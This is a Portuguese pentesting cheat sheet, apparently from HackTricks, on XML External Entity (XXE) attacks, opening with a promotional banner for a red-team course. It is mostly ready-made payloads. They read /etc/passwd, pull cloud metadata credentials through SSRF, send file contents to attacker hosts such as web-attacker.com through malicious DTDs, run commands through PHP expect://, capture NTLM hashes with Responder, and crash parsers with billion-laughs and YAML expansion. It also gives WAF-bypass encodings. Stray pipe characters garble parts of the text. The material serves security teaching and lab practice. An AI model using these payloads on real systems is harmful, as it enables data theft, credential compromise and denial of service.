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# XXE - XEE - Entidade Externa XML
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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## Conceitos Básicos de XML
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XML é uma linguagem de marcação projetada para armazenamento e transporte de dados, apresentando uma estrutura flexível que permite o uso de tags com nomes descritivos. Diferentemente do HTML, não é limitado a um conjunto de tags predefinidas. A importância do XML diminuiu com o surgimento do JSON, apesar de seu papel inicial na tecnologia AJAX.
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* **Representação de Dados por Meio de Entidades**: As entidades em XML permitem a representação de dados, incluindo caracteres especiais como `<` e `>`, que correspondem a `<` e `>` para evitar conflitos com o sistema de tags do XML.
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* **Definição de Elementos XML**: XML permite a definição de tipos de elementos, delineando como os elementos devem ser estruturados e que conteúdo podem conter, variando de qualquer tipo de conteúdo a elementos filhos específicos.
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* **Definição de Tipo de Documento (DTD)**: DTDs são cruciais no XML para definir a estrutura do documento e os tipos de dados que pode conter. Podem ser internos, externos ou uma combinação, orientando como os documentos são formatados e validados.
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* **Entidades Personalizadas e Externas**: XML suporta a criação de entidades personalizadas dentro de uma DTD para representação flexível de dados. Entidades externas, definidas com uma URL, levantam preocupações de segurança, especialmente no contexto de ataques de Entidade Externa XML (XXE), que exploram a forma como os analisadores XML lidam com fontes de dados externas: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
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* **Detecção de XXE com Entidades de Parâmetro**: Para detectar vulnerabilidades de XXE, especialmente quando métodos convencionais falham devido a medidas de segurança do analisador, podem ser utilizadas entidades de parâmetro XML. Essas entidades permitem técnicas de detecção fora de banda, como acionar pesquisas de DNS ou solicitações HTTP para um domínio controlado, para confirmar a vulnerabilidade.
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* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
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* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
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## Principais ataques
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[**A maioria desses ataques foi testada usando os incríveis laboratórios XEE da Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
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### Novo teste de Entidade
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Neste ataque, vou testar se uma simples declaração de nova ENTIDADE está funcionando
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
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<stockCheck>
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<productId>&toreplace;</productId>
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<storeId>1</storeId>
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</stockCheck>
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```
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### Ler arquivo
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Vamos tentar ler `/etc/passwd` de diferentes maneiras. Para o Windows, você pode tentar ler: `C:\windows\system32\drivers\etc\hosts`
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Neste primeiro caso, observe que o "_\*\*file:///\*\*etc/passwd_" do SISTEMA também funcionará.
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```xml
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<!--?xml version="1.0" ?-->
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<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
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<data>&example;</data>
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```
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Este segundo caso deve ser útil para extrair um arquivo se o servidor web estiver usando PHP (Não é o caso dos laboratórios do Portswiggers)
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```xml
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<!--?xml version="1.0" ?-->
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<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
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<data>&example;</data>
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```
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Neste terceiro caso, observe que estamos declarando o `Element stockCheck` como ANY.
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE data [
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<!ELEMENT stockCheck ANY>
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<!ENTITY file SYSTEM "file:///etc/passwd">
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]>
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<stockCheck>
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<productId>&file;</productId>
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<storeId>1</storeId>
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</stockCheck3>
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```
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### Listagem de diretórios
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Em aplicações baseadas em **Java**, pode ser possível **listar o conteúdo de um diretório** via XXE com um payload como (apenas solicitando o diretório em vez do arquivo):
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```xml
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<!-- Root / -->
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<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
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<!-- /etc/ -->
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<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
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```
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### SSRF
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Um XXE poderia ser usado para abusar de um SSRF dentro de uma nuvem
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
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<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
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```
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### SSRF Cego
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Usando a **técnica comentada anteriormente** você pode fazer o servidor acessar um servidor que você controla para mostrar que ele é vulnerável. Mas, se isso não estiver funcionando, talvez seja porque **as entidades XML não são permitidas**, nesse caso você poderia tentar usar **entidades de parâmetros XML**:
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
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<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
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```
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### SSRF "Cego" - Exfiltrar dados fora de banda
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**Nesta ocasião, vamos fazer o servidor carregar um novo DTD com um payload malicioso que enviará o conteúdo de um arquivo via solicitação HTTP (**para **arquivos de várias linhas, você pode tentar exfiltrá-lo via** _**ftp://**_ usando este servidor básico, por exemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicação é baseada no** [**laboratório da Portswigger aqui**](https://portswigger.net/web-security/xxe/blind)**.**
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No DTD malicioso fornecido, uma série de etapas são realizadas para exfiltrar dados:
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### Exemplo de DTD Malicioso:
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A estrutura é a seguinte:
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```xml
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<!ENTITY % file SYSTEM "file:///etc/hostname">
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<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
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%eval;
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%exfiltrate;
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```
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Os passos executados por esta DTD incluem:
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1. **Definição de Entidades de Parâmetro:**
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* Uma entidade de parâmetro XML, `%file`, é criada, lendo o conteúdo do arquivo `/etc/hostname`.
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* Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma solicitação HTTP para o servidor do atacante, passando o conteúdo da entidade `%file` na string de consulta da URL.
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2. **Execução de Entidades:**
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* A entidade `%eval` é utilizada, levando à execução da declaração dinâmica da entidade `%exfiltrate`.
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* A entidade `%exfiltrate` é então utilizada, desencadeando uma solicitação HTTP para a URL especificada com o conteúdo do arquivo.
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O atacante hospeda esta DTD maliciosa em um servidor sob seu controle, tipicamente em uma URL como `http://web-attacker.com/malicious.dtd`.
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**Carga Útil XXE:** Para explorar uma aplicação vulnerável, o atacante envia uma carga útil XXE:
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
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<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
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```
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Este payload define uma entidade de parâmetro XML `%xxe` e a incorpora dentro do DTD. Quando processado por um analisador XML, este payload busca o DTD externo no servidor do atacante. O analisador então interpreta o DTD inline, executando as etapas descritas no DTD malicioso e levando à exfiltração do arquivo `/etc/hostname` para o servidor do atacante.
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### Baseado em Erro (DTD Externo)
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**Neste caso, vamos fazer o servidor carregar um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
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Uma mensagem de erro de análise XML, revelando o conteúdo do arquivo `/etc/passwd`, pode ser acionada usando uma Definição de Tipo de Documento (DTD) externa maliciosa. Isso é realizado através dos seguintes passos:
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1. Uma entidade de parâmetro XML chamada `file` é definida, que contém o conteúdo do arquivo `/etc/passwd`.
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2. Uma entidade de parâmetro XML chamada `eval` é definida, incorporando uma declaração dinâmica para outra entidade de parâmetro XML chamada `error`. Esta entidade `error`, quando avaliada, tenta carregar um arquivo inexistente, incorporando o conteúdo da entidade `file` como seu nome.
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3. A entidade `eval` é invocada, levando à declaração dinâmica da entidade `error`.
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4. A invocação da entidade `error` resulta em uma tentativa de carregar um arquivo inexistente, produzindo uma mensagem de erro que inclui o conteúdo do arquivo `/etc/passwd` como parte do nome do arquivo.
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O DTD externo malicioso pode ser invocado com o seguinte XML:
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
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<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
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```
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Ao ser executado, a resposta do servidor web deve incluir uma mensagem de erro exibindo o conteúdo do arquivo `/etc/passwd`.
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![](<../.gitbook/assets/image (223) (1).png>)
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_**Por favor, observe que a DTD externa nos permite incluir uma entidade dentro da segunda (****`eval`****), mas isso é proibido na DTD interna. Portanto, você não pode forçar um erro sem usar uma DTD externa (geralmente).**_
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### **Baseado em Erro (DTD do sistema)**
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E quanto às vulnerabilidades cegas de XXE quando as **interações fora de banda são bloqueadas** (conexões externas não estão disponíveis)?.
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Uma brecha na especificação da linguagem XML pode **expor dados sensíveis por meio de mensagens de erro quando a DTD de um documento mescla declarações internas e externas**. Esse problema permite a redefinição interna de entidades declaradas externamente, facilitando a execução de ataques de XXE baseados em erro. Tais ataques exploram a redefinição de uma entidade de parâmetro XML, originalmente declarada em uma DTD externa, de dentro de uma DTD interna. Quando as conexões fora de banda são bloqueadas pelo servidor, os atacantes devem depender de arquivos DTD locais para realizar o ataque, com o objetivo de induzir um erro de análise para revelar informações sensíveis.
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Considere um cenário em que o sistema de arquivos do servidor contém um arquivo DTD em `/usr/local/app/schema.dtd`, definindo uma entidade chamada `custom_entity`. Um atacante pode induzir um erro de análise XML revelando o conteúdo do arquivo `/etc/passwd` enviando uma DTD híbrida da seguinte forma:
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```xml
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<!DOCTYPE foo [
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<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
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<!ENTITY % custom_entity '
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<!ENTITY % file SYSTEM "file:///etc/passwd">
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<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
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%eval;
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%error;
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'>
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%local_dtd;
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]>
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```
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Os passos delineados são executados por esta DTD:
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* A definição de uma entidade de parâmetro XML chamada `local_dtd` inclui o arquivo DTD externo localizado no sistema de arquivos do servidor.
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* Uma redefinição ocorre para a entidade de parâmetro XML `custom_entity`, originalmente definida no DTD externo, para encapsular um [exploit XXE baseado em erro](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Essa redefinição é projetada para provocar um erro de análise, expondo o conteúdo do arquivo `/etc/passwd`.
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* Ao empregar a entidade `local_dtd`, o DTD externo é acionado, abrangendo a entidade `custom_entity` recém-definida. Essa sequência de ações precipita a emissão da mensagem de erro visada pelo exploit.
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**Exemplo do mundo real:** Sistemas que utilizam o ambiente de desktop GNOME frequentemente possuem um DTD em `/usr/share/yelp/dtd/docbookx.dtd` contendo uma entidade chamada `ISOamso`.
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
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<!ENTITY % ISOamso '
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<!ENTITY % file SYSTEM "file:///etc/passwd">
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<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
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%eval;
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%error;
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|
'>
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%local_dtd;
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]>
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<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
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```
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Como essa técnica usa um **DTD interno, você precisa encontrar um válido primeiro**. Você pode fazer isso **instalando** o mesmo **SO / Software** que o servidor está usando e **procurando alguns DTDs padrão**, ou **obtendo uma lista** de **DTDs padrão** dentro dos sistemas e **verificando** se algum deles existe:
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```xml
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<!DOCTYPE foo [
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<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
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%local_dtd;
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]>
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```
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Para mais informações, consulte [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
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### Encontrando DTDs dentro do sistema
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No incrível repositório do GitHub a seguir, você pode encontrar **caminhos de DTDs que podem estar presentes no sistema**:
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{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
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Além disso, se você tiver a **imagem Docker do sistema da vítima**, você pode usar a ferramenta do mesmo repositório para **escanear** a **imagem** e **encontrar** o caminho dos **DTDs** presentes no sistema. Leia o [Readme do GitHub](https://github.com/GoSecure/dtd-finder) para aprender como.
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```bash
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java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
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Scanning TAR file /tmp/dadocker.tar
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[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
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Testing 0 entities : []
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[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
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|
Testing 0 entities : []
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```
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### XXE via Analisadores de Office Open XML
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Para uma explicação mais aprofundada deste ataque, **verifique a segunda seção deste** [**post incrível**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **do Detectify**.
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A capacidade de **fazer upload de documentos do Microsoft Office é oferecida por muitas aplicações web**, que então procedem a extrair certos detalhes desses documentos. Por exemplo, uma aplicação web pode permitir que os usuários importem dados fazendo upload de uma planilha no formato XLSX. Para que o analisador extraia os dados da planilha, ele inevitavelmente precisará analisar pelo menos um arquivo XML.
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Para testar essa vulnerabilidade, é necessário criar um **arquivo do Microsoft Office contendo um payload XXE**. O primeiro passo é criar um diretório vazio para o qual o documento pode ser descompactado.
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Depois que o documento for descompactado, o arquivo XML localizado em `./unzipped/word/document.xml` deve ser aberto e editado em um editor de texto preferido (como o vim). O XML deve ser modificado para incluir o payload XXE desejado, frequentemente começando com uma solicitação HTTP.
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As linhas XML modificadas devem ser inseridas entre os dois objetos XML raiz. É importante substituir o URL por um URL monitorável para as solicitações.
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Por fim, o arquivo pode ser compactado para criar o arquivo malicioso poc.docx. A partir do diretório "unzipped" previamente criado, o seguinte comando deve ser executado:
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Agora, o arquivo criado pode ser enviado para a aplicação web potencialmente vulnerável, e pode-se esperar que uma solicitação apareça nos logs do Burp Collaborator.
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### Protocolo Jar
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O protocolo **jar** é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um arquivo **PKZIP** (por exemplo, `.zip`, `.jar`, etc.), atendendo a arquivos locais e remotos.
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```
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jar:file:///var/myarchive.zip!/file.txt
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jar:https://download.host.com/myarchive.zip!/file.txt
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```
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{% hint style="danger" %}
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Ser capaz de acessar arquivos dentro de arquivos PKZIP é **super útil para abusar do XXE via arquivos DTD do sistema.** Confira [esta seção para aprender como abusar dos arquivos DTD do sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
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{% endhint %}
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O processo por trás de acessar um arquivo dentro de um arquivo PKZIP via o protocolo jar envolve várias etapas:
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1. Uma solicitação HTTP é feita para baixar o arquivo zip de uma localização especificada, como `https://download.website.com/archive.zip`.
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2. A resposta HTTP contendo o arquivo é armazenada temporariamente no sistema, geralmente em uma localização como `/tmp/...`.
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3. O arquivo é então extraído para acessar seu conteúdo.
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4. O arquivo específico dentro do arquivo, `file.zip`, é lido.
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5. Após a operação, quaisquer arquivos temporários criados durante esse processo são excluídos.
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Uma técnica interessante para interromper esse processo na segunda etapa envolve manter a conexão do servidor aberta indefinidamente ao servir o arquivo de arquivo. Ferramentas disponíveis neste [repositório](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) podem ser utilizadas para esse fim, incluindo um servidor Python (`slow_http_server.py`) e um servidor Java (`slowserver.jar`).
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```xml
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<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
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<foo>&xxe;</foo>
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|
```
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|
{% hint style="danger" %}
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|
Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de modelo, XSLT RCE, desserialização, etc).
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{% endhint %}
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### XSS
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```xml
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|
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
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|
```
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### DoS
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#### Ataque de Bilhões de Risadas
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```xml
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<!DOCTYPE data [
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<!ENTITY a0 "dos" >
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<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
|
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<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
|
|
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
|
|
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
|
|
]>
|
|
<data>&a4;</data>
|
|
```
|
|
#### Ataque Yaml
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|
```xml
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|
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
|
|
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
|
|
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
|
|
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
|
|
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
|
|
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
|
|
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
|
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
|
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
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|
```
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|
#### Ataque de Explosão Quadrática
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|
![](<../.gitbook/assets/image (531).png>)
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#### Obtendo NTML
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Em hosts Windows, é possível obter o hash NTML do usuário do servidor web configurando um manipulador responder.py:
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```bash
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Responder.py -I eth0 -v
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```
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e ao enviar a seguinte requisição
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```xml
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|
<!--?xml version="1.0" ?-->
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|
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
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<data>&example;</data>
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```
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## Superfícies XXE Ocultas
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### XInclude
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Ao integrar dados do cliente em documentos XML do lado do servidor, como aqueles em solicitações SOAP do backend, o controle direto sobre a estrutura XML é frequentemente limitado, dificultando os ataques XXE tradicionais devido a restrições na modificação do elemento `DOCTYPE`. No entanto, um ataque `XInclude` fornece uma solução ao permitir a inserção de entidades externas dentro de qualquer elemento de dados do documento XML. Este método é eficaz mesmo quando apenas uma parte dos dados dentro de um documento XML gerado pelo servidor pode ser controlada.
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Para executar um ataque `XInclude`, o namespace `XInclude` deve ser declarado, e o caminho do arquivo para a entidade externa pretendida deve ser especificado. Abaixo está um exemplo sucinto de como tal ataque pode ser formulado:
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```xml
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|
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
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|
```
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Verifique [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para mais informações!
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### SVG - Upload de Arquivo
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Arquivos enviados por usuários para determinadas aplicações, que são então processados no servidor, podem explorar vulnerabilidades na forma como os formatos de arquivo XML ou que contenham XML são tratados. Formatos de arquivo comuns como documentos de escritório (DOCX) e imagens (SVG) são baseados em XML.
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Quando os usuários **enviam imagens**, essas imagens são processadas ou validadas no servidor. Mesmo para aplicações que esperam formatos como PNG ou JPEG, a **biblioteca de processamento de imagens do servidor também pode suportar imagens SVG**. O SVG, sendo um formato baseado em XML, pode ser explorado por atacantes para enviar imagens SVG maliciosas, expondo assim o servidor a vulnerabilidades de XXE (Entidade Externa XML).
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Um exemplo desse tipo de exploit é mostrado abaixo, onde uma imagem SVG maliciosa tenta ler arquivos do sistema:
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```xml
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<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
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```
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Outro método envolve tentar **executar comandos** através do invólucro "expect" do PHP:
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```xml
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<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
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<image xlink:href="expect://ls"></image>
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</svg>
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```
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Em ambos os casos, o formato SVG é usado para lançar ataques que exploram as capacidades de processamento XML do software do servidor, destacando a necessidade de validação de entrada robusta e medidas de segurança.
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Verifique [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para mais informações!
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**Observe que a primeira linha do arquivo lido ou do resultado da execução aparecerá DENTRO da imagem criada. Portanto, você precisa ser capaz de acessar a imagem que o SVG criou.**
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### **PDF - Upload de Arquivo**
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Leia o seguinte post para **aprender como explorar um XXE fazendo upload de um arquivo PDF**:
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{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
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[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
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{% endcontent-ref %}
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### Content-Type: De x-www-urlencoded para XML
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Se uma solicitação POST aceita os dados em formato XML, você pode tentar explorar um XXE nessa solicitação. Por exemplo, se uma solicitação normal contém o seguinte:
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```xml
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POST /action HTTP/1.0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 7
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foo=bar
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```
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Então você pode ser capaz de enviar a seguinte solicitação, com o mesmo resultado:
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```xml
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POST /action HTTP/1.0
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Content-Type: text/xml
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Content-Length: 52
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<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
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```
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### Content-Type: De JSON para XEE
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Para alterar a solicitação, você pode usar uma Extensão do Burp chamada "**Content Type Converter**". [Aqui](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) você pode encontrar este exemplo:
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```xml
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Content-Type: application/json;charset=UTF-8
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{"root": {"root": {
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"firstName": "Avinash",
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"lastName": "",
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"country": "United States",
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|
"city": "ddd",
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|
"postalCode": "ddd"
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}}}
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```
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```xml
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Content-Type: application/xml;charset=UTF-8
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<?xml version="1.0" encoding="UTF-8" standalone="no"?>
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<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
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<root>
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<root>
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<firstName>&xxe;</firstName>
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<lastName/>
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<country>United States</country>
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<city>ddd</city>
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<postalCode>ddd</postalCode>
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</root>
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|
</root>
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```
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Outro exemplo pode ser encontrado [aqui](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
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## Bypasses de WAF e Proteções
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### Base64
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```xml
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<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
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```
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Isso só funciona se o servidor XML aceitar o protocolo `data://`.
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### UTF-7
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Você pode usar a \[**"Receita de Codificação**" do cyberchef aqui ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformar para UTF-7.
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```xml
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|
<!xml version="1.0" encoding="UTF-7"?-->
|
|
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
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|
```
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```xml
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<?xml version="1.0" encoding="UTF-7"?>
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|
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
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+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
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+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
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```
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### Bypass de Protocolo de Arquivo
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Se a web estiver usando PHP, em vez de usar `file:/`, você pode usar **invólucros php** `php://filter/convert.base64-encode/resource=` para **acessar arquivos internos**.
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Se a web estiver usando Java, você pode verificar o [**protocolo jar**](xxe-xee-xml-external-entity.md#jar-protocol).
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### Entidades HTML
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Truque de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
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Você pode criar uma **entidade dentro de uma entidade** codificando-a com **entidades html** e então chamá-la para **carregar um dtd**.\
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|
Observe que as **Entidades HTML** usadas precisam ser **numéricas** (como \[neste exemplo]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
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```xml
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<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
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<data>
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<env>&exfil;</env>
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|
</data>
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```
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Exemplo de DTD:
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```xml
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<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
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|
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
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|
%abt;
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%exfil;
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```
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## Invólucros PHP
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### Base64
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**Extrair** _**index.php**_
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```xml
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<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
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```
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#### **Extrair recurso externo**
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```xml
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<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
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```
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### Execução remota de código
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**Se o módulo "expect" do PHP estiver carregado**
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```xml
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE foo [ <!ELEMENT foo ANY >
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<!ENTITY xxe SYSTEM "expect://id" >]>
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<creds>
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<user>&xxe;</user>
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<pass>mypass</pass>
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|
</creds>
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```
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## **SOAP - XEE**
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```xml
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<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
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```
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## XLIFF - XXE
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Este exemplo é inspirado em [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
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XLIFF (XML Localization Interchange File Format) é utilizado para padronizar a troca de dados em processos de localização. É um formato baseado em XML usado principalmente para transferir dados localizáveis entre ferramentas durante a localização e como um formato de troca comum para ferramentas de TAC (Tradução Assistida por Computador).
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### Análise de Solicitação Cega
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Uma solicitação é feita ao servidor com o seguinte conteúdo:
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```xml
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------WebKitFormBoundaryqBdAsEtYaBjTArl3
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Content-Disposition: form-data; name="file"; filename="xxe.xliff"
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|
Content-Type: application/x-xliff+xml
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<?xml version="1.0" encoding="UTF-8"?>
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|
<!DOCTYPE XXE [
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<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
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<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
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|
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
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|
```
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|
No entanto, esta solicitação desencadeia um erro interno do servidor, mencionando especificamente um problema com as declarações de marcação:
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```json
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{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
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```
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|
Apesar do erro, um hit é registrado no Burp Collaborator, indicando algum nível de interação com a entidade externa.
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Exfiltração de Dados Fora de Banda Para exfiltrar dados, é enviada uma solicitação modificada:
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|
```
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|
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
|
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
|
Content-Type: application/x-xliff+xml
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<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE XXE [
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|
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
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|
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
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|
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
|
```
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|
Este método revela que o User Agent indica o uso do Java 1.8. Uma limitação observada nesta versão do Java é a incapacidade de recuperar arquivos contendo um caractere de nova linha, como /etc/passwd, usando a técnica Out of Band.
